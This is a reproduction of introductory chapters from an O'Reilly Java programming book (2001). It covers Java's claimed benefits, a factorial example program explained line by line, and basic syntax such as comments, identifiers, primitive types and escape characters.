Why use Java at all? Is it worth learning a new language and a new platform? This section explores some of the key benefits of Java.

1.2.1. Write Once, Run Anywhere

Sun identifies "Write once, run anywhere" as the core value proposition of the Java platform. Translated from business jargon, this means that the most important promise of Java technology is that you only have to write your application once--for the Java platform--and then you'll be able to run it anywhere.

Anywhere, that is, that supports the Java platform. Fortunately, Java support is becoming ubiquitous. It is integrated, or being integrated, into practically all major operating systems. It is built into the popular web browsers, which places it on virtually every Internet-connected PC in the world. It is even being built into consumer electronic devices, such as television set-top boxes, PDAs, and cell phones.

1.2.2. Security

Another key benefit of Java is its security features. Both the language and the platform were designed from the ground up with security in mind. The Java platform allows users to download untrusted code over a network and run it in a secure environment in which it cannot do any harm: it cannot infect the host system with a virus, cannot read or write files from the hard drive, and so forth. This capability alone makes the Java platform unique.

The Java 2 Platform takes the security model a step further. It makes security levels and restrictions highly configurable and extends them beyond applets. As of Java 1.2, any Java code, whether it is an applet, a servlet, a JavaBeans component, or a complete Java application, can be run with restricted permissions that prevent it from doing harm to the host system.

The security features of the Java language and platform have been subjected to intense scrutiny by security experts around the world. Security-related bugs, some of them potentially serious, have been found and promptly fixed. Because of the security promises Java makes, it is big news when a new security bug is found. Remember, however, that no other mainstream platform can make security guarantees nearly as strong as those Java makes. If Java's security is not yet perfect, it has been proven strong enough for practical day-to-day use and is certainly better than any of the alternatives.

1.2.3. Network-centric Programming

Sun's corporate motto has always been "The network is the computer." The designers of the Java platform believed in the importance of networking and designed the Java platform to be network-centric. From a programmer's point of view, Java makes it unbelievably easy to work with resources across a network and to create network-based applications using client/server or multitier architectures. This means that Java programmers have a serious head start in the emerging network economy.

1.2.4. Dynamic, Extensible Programs

Java is both dynamic and extensible. Java code is organized in modular object-oriented units called classes. Classes are stored in separate files and are loaded into the Java interpreter only when needed. This means that an application can decide as it is running what classes it needs and can load them when it needs them. It also means that a program can dynamically extend itself by loading the classes it needs to expand its functionality.

The network-centric design of the Java platform means that a Java application can dynamically extend itself by loading new classes over a network. An application that takes advantage of these features ceases to be a monolithic block of code. Instead, it becomes an interacting collection of independent software components. Thus, Java enables a powerful new metaphor of application design and development.

1.2.5. Internationalization

The Java language and the Java platform were designed from the start with the rest of the world in mind. Java is the only commonly used programming language that has internationalization features at its very core, rather than tacked on as an afterthought. While most programming languages use 8-bit characters that represent only the alphabets of English and Western European languages, Java uses 16-bit Unicode characters that represent the phonetic alphabets and ideographic character sets of the entire world. Java's internationalization features are not restricted to just low-level character representation, however. The features permeate the Java platform, making it easier to write internationalized programs with Java than it is with any other environment.

1.2.6. Performance

As I described earlier, Java programs are compiled to a portable intermediate form known as byte codes, rather than to native machine-language instructions. The Java Virtual Machine runs a Java program by interpreting these portable byte-code instructions. This architecture means that Java programs are faster than programs or scripts written in purely interpreted languages, but they are typically slower than C and C++ programs compiled to native machine language. Keep in mind, however, that although Java programs are compiled to byte code, not all of the Java platform is implemented with interpreted byte codes. For efficiency, computationally intensive portions of the Java platform--such as the string-manipulation methods--are implemented using native machine code.

Although early releases of Java suffered from performance problems, the speed of the Java VM has improved dramatically with each new release. The VM has been highly tuned and optimized in many significant ways. Furthermore, many implementations include a just-in-time compiler, which converts Java byte codes to native machine instructions on the fly. Using sophisticated JIT compilers, Java programs can execute at speeds comparable to the speeds of native C and C++ applications.

Java is a portable, interpreted language; Java programs run almost as fast as native, non-portable C and C++ programs. Performance used to be an issue that made some programmers avoid using Java. Now, with the improvements made in Java 1.2, performance issues should no longer keep anyone away. In fact, the winning combination of performance plus portability is a unique feature no other language can offer.

1.2.7. Programmer Efficiency and Time-to-Market

The final, and perhaps most important, reason to use Java is that programmers like it. Java is an elegant language combined with a powerful and well-designed set of APIs. Programmers enjoy programming in Java and are usually amazed at how quickly they can get results with it. Studies have consistently shown that switching to Java increases programmer efficiency. Because Java is a simple and elegant language with a well-designed, intuitive set of APIs, programmers write better code with fewer bugs than for other platforms, again reducing development time.

Previous | Home | Next
1.1. What Is Java? | Book Index | 1.3. An Example Program
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


An Example Program (Java in a Nutshell)

 Book Home Java Enterprise in a Nutshell Search this book

1.3. An Example Program

Example 1-1 shows a Java program to compute factorials.[4] The numbers at the beginning of each line are not part of the program; they are there for ease of reference when we dissect the program line-by-line.

[4]The factorial of an integer is the product of the number and all positive integers less than the number. So, for example, the factorial of 4, which is also written 4!, is 4 times 3 times 2 times 1, or 24. By definition, 0! is 1.

Example 1-1. Factorial.java: A Program to Compute Factorials

 1 /**
 2  * This program computes the factorial of a number
 3  */
 4 public class Factorial {                   // Define a class
 5   public static void main(String[] args) { // The program starts here
 6     int input = Integer.parseInt(args[0]); // Get the user's input
 7     double result = factorial(input);      // Compute the factorial
 8     System.out.println(result);            // Print out the result
 9   }                                        // The main() method ends here
10
11   public static double factorial(int x) {  // This method computes x!
12     if (x < 0)                             // Check for bad input
13       return 0.0;                          //   if bad, return 0
14     double fact = 1.0;                     // Begin with an initial value
15     while(x > 1) {                         // Loop until x equals 1
16       fact = fact * x;                     //   multiply by x each time
17       x = x - 1;                           //   and then decrement x
18     }                                      // Jump back to start of loop
19     return fact;                           // Return the result
20   }                                        // factorial() ends here
21 }                                          // The class ends here

1.3.1. Compiling and Running the Program

Before we look at how the program works, we must first discuss how to run it. In order to compile and run the program, you need a Java software development kit (SDK) of some sort. Sun Microsystems created the Java language and ships a free Java SDK for its Solaris operating system and for Microsoft Windows (95/98/NT) platforms. At the time of this writing, the current version of Sun's SDK is entitled Java 2 SDK, Standard Edition, Version 1.2.2 and is available for download from http://java.sun.com/products/jdk/1.2/ (Sun's Java SDK is still often called the JDK, even internally). Be sure to get the SDK and not the Java Runtime Environment. The JRE enables you to run existing Java programs, but not to write your own.

Sun supports its SDK only on Solaris and Windows platforms. Many other companies have licensed and ported the SDK to their platforms, however. Contact your operating-system vendor to find if a version of the Java SDK is available for your system. Linux users should visit http://www.blackdown.org/.

The Sun SDK is not the only Java programming environment you can use. Companies such as Borland, Inprise, Metrowerks, Oracle, Sybase, and Symantec offer commercial products that enable you to write Java programs. This book assumes that you are using Sun's SDK. If you are using a product from some other vendor, be sure to read that vendor's documentation to learn how to compile and run a simple program, like that shown in Example 1-1.

Once you have a Java programming environment installed, the first step towards running our program is to type it in. Using your favorite text editor, enter the program as it is shown in Example 1-1. Omit the line numbers, as they are just there for reference. Note that Java is a case-sensitive language, so you must type lowercase letters in lowercase and uppercase letters in uppercase. You'll notice that many of the lines of this program end with semicolons. It is a common mistake to forget these characters, but the program won't work without them, so be careful! If you are not a fast typist, you can omit everything from // to the end of a line. Those are comments ; they are there for your benefit and are ignored by Java.[5]

[5]I recommend that you type this example in by hand, to get a feel for the language. If you really don't want to, however, you can download this, and all examples in the book, from http://www.oreilly.com/catalog/javanut3/.

When writing Java programs, you should use a text editor that saves files in plain-text format, not a word processor that supports fonts and formatting and saves files in a proprietary format. My favorite text editor on Unix systems is emacs. If you use a Windows system, you might use Notepad or WordPad, if you don't have a more specialized programmer's editor. If you are using a commercial Java programming environment, it probably includes an appropriate text editor; read the documentation that came with the product. When you are done entering the program, save it in a file named Factorial.java. This is important; the program will not work if you save it by any other name.

After writing a program like this one, the next step is to compile it. With Sun's SDK, the Java compiler is known as javac. javac is a command-line tool, so you can only use it from a terminal window, such as an MS-DOS window on a Windows system or an xterm window on a Unix system. Compile the program by typing the following command line:[6]

[6]The "C:\>" characters represent the command-line prompt; don't type these characters yourself.

C:\> javac Factorial.java

If this command prints any error messages, you probably got something wrong when you typed in the program. If it does not print any error messages, however, the compilation has succeeded, and javac creates a file called Factorial.class. This is the compiled version of the program.

Once you have compiled a Java program, you must still run it. Unlike some other languages, Java programs are not compiled into native machine language, so they cannot be executed directly by the system. Instead, they are run by another program known as the Java interpreter. In Sun's SDK, the interpreter is a command-line program named, appropriately enough, java. To run the factorial program, type:

C:\> java Factorial 4

java is the command to run the Java interpreter, Factorial is the name of the Java program we want the interpreter to run, and 4 is the input data--the number we want the interpreter to compute the factorial of. The program prints a single line of output, telling us that the factorial of 4 is 24:

C:\> java Factorial 4
24.0

Congratulations! You've just written, compiled, and run your first Java program. Try running it again to compute the factorials of some other numbers.

1.3.2. Analyzing the Program

Now that you have run the factorial program, let's analyze it line by line, to see what makes a Java program tick.

1.3.2.1. Comments

The first three lines of the program are a comment. Java ignores them, but they tell a human programmer what the program does. A comment begins with the characters /* and ends with the characters */. Any amount of text, including multiple lines of text, may appear between these characters. Java also supports another type of comment, which you can see in lines 4 through 21. If the characters // appear in a Java program, Java ignores those characters and any other text that appears between those characters and the end of the line.

1.3.2.2. Defining a class

Line 4 is the beginning of the program. It says that we are defining a class named Factorial. This explains why the program had to be stored in a file named Factorial.java. That filename indicates that the file contains Java source code for a class named Factorial. The word public is a modifier ; it says that the class is publicly available and that anyone may use it. The open curly-brace character ({) marks the beginning of the body of the class, which extends all the way to line 21, where we find the matching close curly-brace character (}). The program contains a number of pairs of curly braces; the lines are indented to show the nesting within these braces.

A class is the fundamental unit of program structure in Java, so it is not surprising that the first line of our program declares a class. All Java programs are classes, although some programs use many classes instead of just one. Java is an object-oriented programming language, and classes are a fundamental part of the object-oriented paradigm. Each class defines a unique kind of object. Example 1-1 is not really an object-oriented program, however, so I'm not going to go into detail about classes and objects here. That is the topic of Chapter 3, "Object-Oriented Programming in Java". For now, all you need to understand is that a class defines a set of interacting members. Those members may be fields, methods, or other classes. The Factorial class contains two members, both of which are methods. They are described in upcoming sections.

1.3.2.3. Defining a method

Line 5 begins the definition of a method of our Factorial class. A method is a named chunk of Java code. A Java program can call, or invoke, a method to execute the code in it. If you have programmed in other languages, you have probably seen methods before, but they may have been called functions, procedures, or subroutines. The interesting thing about methods is that they have parameters and return values. When you call a method, you pass it some data you want it to operate on, and it returns a result to you. A method is like an algebraic function:

y = f(x)

Here, the mathematical function f performs some computation on the value represented by x and returns a value, which we represent by y.

To return to line 5, the public and static keywords are modifiers. public means the method is publicly accessible; anyone can use it. The meaning of the static modifier is not important here; it is explained in Chapter 3, "Object-Oriented Programming in Java". The void keyword specifies the return value of the method. In this case, it specifies that this method does not have a return value.

The word main is the name of the method. main is a special name. When you run the Java interpreter, it reads in the class you specify, then looks for a method named main().[7] When the interpreter finds this method, it starts running the program at that method. When the main() method finishes, the program is done, and the Java interpreter exits. In other words, the main() method is the main entry point into a Java program. It is not actually sufficient for a method to be named main(), however. The method must be declared public static void exactly as shown in line 5. In fact, the only part of line 5 you can change is the word args, which you can replace with any word you want. You'll be using this line in all of your Java programs, so go ahead and commit it to memory now![8]

[7]By convention, when this book refers to a method, it follows the name of the method by a pair of parentheses. As you'll see, parentheses are an important part of method syntax, and they serve here to keep method names distinct from the names of classes, fields, variables, and so on.

[8]All Java programs that are run directly by the Java interpreter must have a main() method. Programs of this sort are often called applications. It is possible to write programs that are not run directly by the interpreter, but are dynamically loaded into some other already running Java program. Examples are applets, which are programs run by a web browser, and servlets, which are programs run by a web server. Applets are discussed in Java Foundation Classes in a Nutshell (O'Reilly), while servlets are discussed in Java Enterprise in a Nutshell (O'Reilly). In this book, we consider only applications.

Following the name of the main() method is a list of method parameters, contained in parentheses. This main() method has only a single parameter. String[] specifies the type of the parameter, which is an array of strings (i.e., a numbered list of strings of text). args specifies the name of the parameter. In the algebraic equation f(x), x is simply a way of referring to an unknown value. args serves the same purpose for the main() method. As we'll see, the name args is used in the body of the method to refer to the unknown value that is passed to the method.

As I've just explained, the main() method is a special one that is called by the Java interpreter when it starts running a Java class (program). When you invoke the Java interpreter like this:

C:\> java Factorial 4

the string "4" is passed to the main() method as the value of the parameter named args. More precisely, an array of strings containing only one entry, "4", is passed to main(). If we invoke the program like this:

C:\> java Factorial 4 3 2 1

then an array of four strings, "4", "3", "2", and "1", are passed to the main() method as the value of the parameter named args. Our program looks only at the first string in the array, so the other strings are ignored.

Finally, the last thing on line 5 is an open curly brace. This marks the beginning of the body of the main() method, which continues until the matching close curly brace on line 9. Methods are composed of statements, which the Java interpreter executes in sequential order. In this case, lines 6, 7, and 8 are three statements that compose the body of the main() method. Each statement ends with a semicolon to separate it from the next. This is an important part of Java syntax; beginning programmers often forget the semicolons.

1.3.2.4. Declaring a variable and parsing input

The first statement of the main() method, line 6, declares a variable and assigns a value to it. In any programming language, a variable is simply a symbolic name for a value. Think back to algebra class again:

c2 = a2 + b2

The letters a, b, and c are names we use to refer to unknown values. They make this formula (the Pythagorean theorem) a general one that applies to arbitrary values of a, b, and c, not just a specific set like:

52 = 42 + 32

A variable in a Java program is exactly the same thing: it is a name we use to refer to a value. More precisely, a variable is a name that refers to a storage space for a value. We often say that a variable holds a value.

Line 6 begins with the words int input. This declares a variable named input and specifies that the variable has the type int; that is, it is an integer. Java can work with several different types of values, including integers, real or floating-point numbers, characters (e.g., letters, digits), and strings. Java is a strongly typed language, which means that all variables must have a type specified and can only refer to values of that type. Our input variable always refers to an integer; it cannot refer to a floating point number or a string. Method parameters are also typed. Recall that the args parameter had a type of String[].

Continuing with line 6, the variable declaration int input is followed by the = character. This is the assignment operator in Java; it sets the value of a variable. When reading Java code, don't read = as "equals," but instead read it as "is assigned the value." As we'll see in Chapter 2, "Java Syntax from the Ground Up", there is a different operator for "equals."

The value being assigned to our input variable is Integer.parseInt(args[0]). This is a method invocation. This first statement of the main() method invokes another method whose name is Integer.parseInt(). As you might guess, this method "parses" an integer; that is, it converts a string representation of an integer, such as "4", to the integer itself. The Integer.parseInt() method is not part of the Java language, but it is a core part of the Java API or Application Programming Interface. Every Java program can use the powerful set of classes and methods defined by this core API. The second half of this book is a quick-reference that documents that core API.

When you call a method, you pass values (called arguments) that are assigned to the corresponding parameters defined by the method, and the method returns a value. The argument passed to Integer.parseInt() is args[0]. Recall that args is the name of the parameter for main(); it specifies an array (or list) of strings. The elements of an array are numbered sequentially, and the first one is always numbered 0. We only care about the first string in the args array, so we use the expression args[0] to refer to that string. Thus, when we invoke the program as shown earlier, line 6 takes the first string specified after the name of the class, "4", and passes it to the method named Integer.parseInt(). This method converts the string to the corresponding integer and returns the integer as its return value. Finally, this returned integer is assigned to the variable named input.

1.3.2.5. Computing the result

The statement on line 7 is a lot like the statement on line 6. It declares a variable and assigns a value to it. The value assigned to the variable is computed by invoking a method. The variable is named result, and it has a type of double. double means a double-precision floating-point number. The variable is assigned a value that is computed by the factorial() method. The factorial() method, however, is not part of the standard Java API. Instead, it is defined as part of our program, by lines 11 through 19. The argument passed to factorial() is the value referred to by the input variable, which was computed on line 6. We'll consider the body of the factorial() method shortly, but you can surmise from its name that this method takes an input value, computes the factorial of that value, and returns the result.

1.3.2.6. Displaying output

Line 8 simply calls a method named System.out.println(). This commonly used method is part of the core Java API; it causes the Java interpreter to print out a value. In this case, the value that it prints is the value referred to by the variable named result. This is the result of our factorial computation. If the input variable holds the value 4, the result variable holds the value 24, and this line prints out that value.

The System.out.println() method does not have a return value, so there is no variable declaration or = assignment operator in this statement, since there is no value to assign to anything. Another way to say this is that, like the main() method of line 5, System.out.println() is declared void.

1.3.2.7. The end of a method

Line 9 contains only a single character, }. This marks the end of the method. When the Java interpreter gets here, it is done executing the main() method, so it stops running. The end of the main() method is also the end of the variable scope for the input and result variables declared within main() and for the args parameter of main(). These variable and parameter names have meaning only within the main() method and cannot be used elsewhere in the program, unless other parts of the program declare different variables or parameters that happen to have the same name.

1.3.2.8. Blank lines

Line 10 is a blank line. You can insert blank lines, spaces, and tabs anywhere in a program, and you should use them liberally to make the program readable. A blank line appears here to separate the main() method from the factorial() method that begins on line 11. You'll notice that the program also uses spaces and tabs to indent the various lines of code. This kind of indentation is optional; it emphasizes the structure of the program and greatly enhances the readability of the code.

1.3.2.9. Another method

Line 11 begins the definition of the factorial() method that was used by the main() method. Compare this line to line 5 to note its similarities and differences. The factorial() method has the same public and static modifiers. It takes a single integer parameter, which we call x. Unlike the main() method, which had no return value (void), factorial() returns a value of type double. The open curly brace marks the beginning of the method body, which continues past the nested braces on lines 15 and 18 to line 20, where the matching close curly brace is found. The body of the factorial() method, like the body of the main() method, is composed of statements, which are found on lines 12 through 19.

1.3.2.10. Checking for valid input

In the main() method, we saw variable declarations, assignments, and method invocations. The statement on line 12 is different. It is an if statement, which executes another statement conditionally. We saw earlier that the Java interpreter executes the three statements of the main() method one after another. It always executes them in exactly that way, in exactly that order. An if statement is a flow-control statement; it can affect the way the interpreter runs a program.

The if keyword is followed by a parenthesized expression and a statement. The Java interpreter first evaluates the expression. If it is true, the interpreter executes the statement. If the expression is false, however, the interpreter skips the statement and goes to the next one. The condition for the if statement on line 12 is x < 0. It checks whether the value passed to the factorial() method is less than zero. If it is, this expression is true, and the statement on line 13 is executed. Line 12 does not end with a semicolon because the statement on line 13 is part of the if statement. Semicolons are required only at the end of a statement.

Line 13 is a return statement. It says that the return value of the factorial() method is 0.0. return is also a flow-control statement. When the Java interpreter sees a return, it stops executing the current method and returns the specified value immediately. A return statement can stand alone, but in this case, the return statement is part of the if statement on line 12. The indentation of line 13 helps emphasize this fact. (Java ignores this indentation, but it is very helpful for humans who read Java code!) Line 13 is executed only if the expression on line 12 is true.

Before we move on, we should pull back a bit and talk about why lines 12 and 13 are necessary in the first place. It is an error to try to compute a factorial for a negative number, so these lines make sure that the input value x is valid. If it is not valid, they cause factorial() to return a consistent invalid result, 0.0.

1.3.2.11. An important variable

Line 14 is another variable declaration; it declares a variable named fact of type double and assigns it an initial value of 1.0. This variable holds the value of the factorial as we compute it in the statements that follow. In Java, variables can be declared anywhere; they are not restricted to the beginning of a method or block of code.

1.3.2.12. Looping and computing the factorial

Line 15 introduces another type of statement: the while loop. Like an if statement, a while statement consists of a parenthesized expression and a statement. When the Java interpreter sees a while statement, it evaluates the associated expression. If that expression is true, the interpreter executes the statement. The interpreter repeats this process, evaluating the expression and executing the statement if the expression is true, until the expression evaluates to false. The expression on line 15 is x > 1, so the while statement loops while the parameter x holds a value that is greater than 1. Another way to say this is that the loop continues until x holds a value less than or equal to 1. We can assume from this expression that if the loop is ever going to terminate, the value of x must somehow be modified by the statement that the loop executes.

The major difference between the if statement on lines 12-13 and the while loop on lines 15-18 is that the statement associated with the while loop is a compound statement. A compound statement is zero or more statements grouped between curly braces. The while keyword on line 15 is followed by an expression in parentheses and then by an open curly brace. This means that the body of the loop consists of all statements between that opening brace and the closing brace on line 18. Earlier in the chapter, I said that all Java statements end with semicolons. This rule does not apply to compound statements, however, as you can see by the lack of a semicolon at the end of line 18. The statements inside the compound statement (lines 16 and 17) do end with semicolons, of course.

The body of the while loop consists of the statements on line 16 and 17. Line 16 multiplies the value of fact by the value of x and stores the result back into fact. Line 17 is similar. It subtracts 1 from the value of x and stores the result back into x. The * character on line 16 is important: it is the multiplication operator. And, as you can probably guess, the - on line 17 is the subtraction operator. An operator is a key part of Java syntax: it performs a computation on one or two operands to produce a new value. Operands and operators combine to form expressions, such as fact * x or x - 1. We've seen other operators in the program. Line 15, for example, uses the greater-than operator (>) in the expression x > 1, which compares the value of the variable x to 1. The value of this expression is a boolean truth value--either true or false, depending on the result of the comparison.

To understand this while loop, it is helpful to think like the Java interpreter. Suppose we are trying to compute the factorial of 4. Before the loop starts, fact is 1.0, and x is 4. After the body of the loop has been executed once--after the first iteration--fact is 4.0, and x is 3. After the second iteration, fact is 12.0, and x is 2. After the third iteration, fact is 24.0, and x is 1. When the interpreter tests the loop condition after the third iteration, it finds that x > 1 is no longer true, so it stops running the loop, and the program resumes at line 19.

1.3.2.13. Returning the result

Line 19 is another return statement, like the one we saw on line 13. This one does not return a constant value like 0.0, but instead returns the value of the fact variable. If the value of x passed into the factorial() function is 4, then, as we saw earlier, the value of fact is 24.0, so this is the value returned. Recall that the factorial() method was invoked on line 7 of the program. When this return statement is executed, control returns to line 7, where the return value is assigned to the variable named result.

1.3.3. Exceptions

If you've made it all the way through the line-by-line analysis of Example 1-1, you are well on your way to understanding the basics of the Java language.[9] It is a simple but nontrivial program that illustrates many of the features of Java. There is one more important feature of Java programming I want to introduce, but it is one that does not appear in the program listing itself. Recall that the program computes the factorial of the number you specify on the command line. What happens if you run the program without specifying a number?

[9] If you didn't understood all the details of this factorial program, don't worry. We'll cover the details of the Java language a lot more thoroughly in Chapter 2, "Java Syntax from the Ground Up" and Chapter 3, "Object-Oriented Programming in Java". However, if you feel like you didn't understand any of the line-by-line analysis, you may also find that the upcoming chapters are over your head. In that case, you should probably go elsewhere to learn the basics of the Java language and return to this book to solidify your understanding, and, of course, to use as a reference. One resource you may find useful in learning the language is Sun's online Java tutorial, available at http://java.sun.com/docs/books/tutorial/.

C:\> java Factorial
java.lang.ArrayIndexOutOfBoundsException: 0
        at Factorial.main(Factorial.java:6)
C:\>

And what happens if you specify a value that is not a number?

C:\> java Factorial ten
java.lang.NumberFormatException: ten
        at java.lang.Integer.parseInt(Integer.java)
        at java.lang.Integer.parseInt(Integer.java)
        at Factorial.main(Factorial.java:6)
C:\>

In both cases, an error occurs or, in Java terminology, an exception is thrown. When an exception is thrown, the Java interpreter prints out a message that explains what type of exception it was and where it occurred (both exceptions above occurred on line 6 ). In the first case, the exception is thrown because there are no strings in the args list, meaning we asked for a nonexistent string with args[0]. In the second case, the exception is thrown because Integer.parseInt() cannot convert the string "ten" to a number. We'll see more about exceptions in Chapter 2, "Java Syntax from the Ground Up" and learn how to handle them gracefully as they occur.

Previous | Home | Next
1.2. Key Benefits of Java | Book Index | 2. Java Syntax from the Ground Up
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Java Syntax from the Ground Up (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 2. Java Syntax from the Ground Up

Contents:

The Unicode Character Set
Comments
Identifiers and Reserved Words
Primitive Data Types
Expressions and Operators
Statements
Methods
Classes and Objects
Array Types
Reference Types
Packages and the Java Namespace
Java File Structure
Defining and Running Java Programs
Differences Between C and Java

This chapter is a terse but comprehensive introduction to Java syntax. It is written primarily for readers who are new to the language, but have at least some previous programming experience. Determined novices with no prior programming experience may also find it useful. If you already know Java, you should find it a useful language reference. In previous editions of this book, this chapter was written explicitly for C and C++ programmers making the transition to Java. It has been rewritten for this edition to make it more generally useful, but it still contains comparisons to C and C++ for the benefit of programmers coming from those languages.[1]

[1] Readers who want even more thorough coverage of the Java language should consider The Java Programming Language, Second Edition, by Ken Arnold and James Gosling (the creator of Java) (Addison Wesley Longman). And hard-core readers may want to go straight to the primary source: The Java Language Specification, by James Gosling, Bill Joy, and Guy Steele (Addison Wesley Longman). This specification is available in printed book form, but is also freely available for download from Sun's web site at http://java.sun.com/docs/books/jls/. I found both documents quite helpful while writing this chapter.

This chapter documents the syntax of Java programs by starting at the very lowest level of Java syntax and building from there, covering increasingly higher orders of structure. It covers:

  • The characters used to write Java programs and the encoding of those characters.

  • Data types, literal values, identifiers, and other tokens that comprise a Java program.

  • The operators used in Java to group individual tokens into larger expressions.

  • Statements, which group expressions and other statements to form logical chunks of Java code.

  • Methods (also called functions, procedures, or subroutines), which are named collections of Java statements that can be invoked by other Java code.

  • Classes, which are collections of methods and fields. Classes are the central program element in Java and form the basis for object-oriented programming. Chapter 3, "Object-Oriented Programming in Java", is devoted entirely to a discussion of classes and objects.

  • Packages, which are collections of related classes.

  • Java programs, which consist of one or more interacting classes that may be drawn from one or more packages.

The syntax of most programming languages is complex, and Java is no exception. In general, it is not possible to document all elements of a language without referring to other elements that have not yet been discussed. For example, it is not really possible to explain in a meaningful way the operators and statements supported by Java without referring to objects. But it is also not possible to document objects thoroughly without referring to the operators and statements of the language. The process of learning Java, or any language, is therefore an iterative one. If you are new to Java (or a Java-style programming language), you may find that you benefit greatly from working through this chapter and the next twice, so that you can grasp the interrelated concepts.

2.1. The Unicode Character Set

Java programs are written using the Unicode character set. Unlike the 7-bit ASCII encoding, which is useful only for English, and the 8-bit ISO Latin-1 encoding, which is useful only for major Western European languages, the 16-bit Unicode encoding can represent virtually every written language in common use on the planet. Very few text editors support Unicode, however, and in practice, most Java programs are written in plain ASCII. 16-bit Unicode characters are typically written to files using an encoding known as UTF-8, which converts the 16-bit characters into a stream of bytes. The format is designed so that plain ASCII and Latin-1 text are valid UTF-8 byte streams. Thus, you can simply write plain ASCII programs, and they will work as valid Unicode.

If you want to embed a Unicode character within a Java program that is written in plain ASCII, use the special Unicode escape sequence \u xxxx. That is, a backslash and a lowercase u, followed by four hexadecimal characters. For example, \u0020 is the space character, and \u3c00 is the character π. You can use Unicode characters anywhere in a Java program, including comments and variable names.

Previous | Home | Next
1.3. An Example Program | Book Index | 2.2. Comments
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Comments (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.2. Comments

Java supports three types of comments. The first type is a single-line comment, which begins with the characters // and continues until the end of the current line. For example:

int i = 0;   // initialize the loop variable

The second kind of comment is a multiline comment. It begins with the characters /* and continues, over any number of lines, until the characters */. Any text between the /* and the */ is ignored by the Java compiler. Although this style of comment is typically used for multiline comments, it can also be used for single-line comments. This type of comment cannot be nested (i.e., one /* */ comment cannot appear within another one). When writing multiline comments, programmers often use extra * characters to make the comments stand out. Here is a typical multiline comment:

/*
 * Step 4: Print static methods, both public and protected,
 *         but don't list deprecated ones.
 */

The third type of comment is a special case of the second. If a comment begins with /**, it is regarded as a special doc comment. Like regular multiline comments, doc comments end with */ and cannot be nested. When you write a Java class you expect other programmers to use, use doc comments to embed documentation about the class and each of its methods directly into the source code. A program named javadoc extracts these comments and processes them to create online documentation for your class. A doc comment can contain HTML tags and can use additional syntax understood by javadoc. For example:

/**
 * Display a list of classes, many to a line.
 *
 * @param classes The classes to display
 * @return <tt>true</tt> on success,
 * <tt>false</tt> on failure.
 * @author David Flanagan
 */

See Chapter 7, "Java Programming and Documentation Conventions", for more information on the doc-comment syntax and Chapter 8, "Java Development Tools", for more information on the javadoc program.

Previous | Home | Next
2.1. The Unicode Character Set | Book Index | 2.3. Identifiers and Reserved Words
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Identifiers and Reserved Words (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.3. Identifiers and Reserved Words

An identifier is any symbolic name that refers to something in a Java program. Class, method, parameter, and variable names are all identifiers. An identifier must begin with a letter, an underscore ( _ ), or a Unicode currency symbol (e.g., $, £, ¥). This initial letter can be followed by any number of letters, digits, underscores, or currency symbols. Remember that Java uses the Unicode character set, which contains quite a few letters and digits other than those in the ASCII character set. The following are legal identifiers:

i
engine3
theCurrentTime
the_current_time
  theta

Identifiers can include numbers, but cannot begin with a number. In addition, they cannot contain any punctuation characters other than underscores and currency characters. By convention, dollar signs and other currency characters are reserved for identifiers automatically generated by a compiler or some kind of code preprocessor. It is best to avoid these characters in your own identifiers.

Another important restriction on identifiers is that you cannot use any of the keywords and literals that are part of the Java language itself. These reserved words are listed in Table 2-1.

Table 2-1. Java Reserved Words

abstract | do | if | package | synchronized
boolean | double | implements | private | this
break | else | import | protected | throw
byte | extends | instanceof | public | throws
case | false | int | return | transient
catch | final | interface | short | true
char | finally | long | static | try
class | float | native | strictfp | void
const | for | new | super | volatile
continue | goto | null | switch | while
default |  |  |  |

Note that const and goto are reserved words, but aren't part of the Java language.

Previous | Home | Next
2.2. Comments | Book Index | 2.4. Primitive Data Types
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Primitive Data Types (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.4. Primitive Data Types

Java supports eight basic data types known as primitive types. In addition, it supports classes and arrays as composite data types, or reference types. Classes and arrays are documented later in this chapter. The primitive types are: a boolean type, a character type, four integer types, and two floating-point types. The four integer types and the two floating-point types differ in the number of bits that represent them, and therefore in the range of numbers they can represent. Table 2-2 summarizes these primitive data types.

Table 2-2. Java Primitive Data Types

Type | Contains | Default | Size | Range
boolean | true or false | false | 1 bit | NA
char | Unicode character | \u0000 | 16 bits | \u0000 to \uFFFF
byte | Signed integer | 0 | 8 bits | -128 to 127
short | Signed integer | 0 | 16 bits | -32768 to 32767
int | Signed integer | 0 | 32 bits | -2147483648 to 2147483647
long | Signed integer | 0 | 64 bits | -9223372036854775808 to 9223372036854775807
float | IEEE 754 floating point | 0.0 | 32 bits | ±1.4E-45 to ±3.4028235E+38
double | IEEE 754 floating point | 0.0 | 64 bits | ±4.9E-324 to ±1.7976931348623157E+308

2.4.1. The boolean Type

The boolean type represents a truth value. There are only two possible values of this type, representing the two boolean states: on or off, yes or no, true or false. Java reserves the words true and false to represent these two boolean values.

C and C++ programmers should note that Java is quite strict about its boolean type: boolean values can never be converted to or from other data types. In particular, a boolean is not an integral type, and integer values cannot be used in place of a boolean. In other words, you cannot take shortcuts such as the following in Java:

if (o) {
  while(i) {
  }
}

Instead, Java forces you to write cleaner code by explicitly stating the comparisons you want:

if (o != null) {
  while(i != 0) {
  }
}

2.4.2. The char Type

The char type represents Unicode characters. It surprises many experienced programmers to learn that Java char values are 16 bits long, but in practice this fact is totally transparent. To include a character literal in a Java program, simply place it between single quotes (apostrophes):

char c = 'A';

You can, of course, use any Unicode character as a character literal, and you can use the \u Unicode escape sequence. In addition, Java supports a number of other escape sequences that make it easy both to represent commonly used nonprinting ASCII characters such as newline and to escape certain punctuation characters that have special meaning in Java. For example:

char tab = '\t', apostrophe = '\'', nul = '\000', aleph='\u05D0';

Table 2-3 lists the escape characters that can be used in char literals. These characters can also be used in string literals, which are covered later in this chapter.

Table 2-3. Java Escape Characters

Escape Sequence | Character Value
\b | Backspace
\t | Horizontal tab
\n | Newline
\f | Form feed
\r | Carriage return
\" | Double quote
\' | Single quote
\\ | Backslash
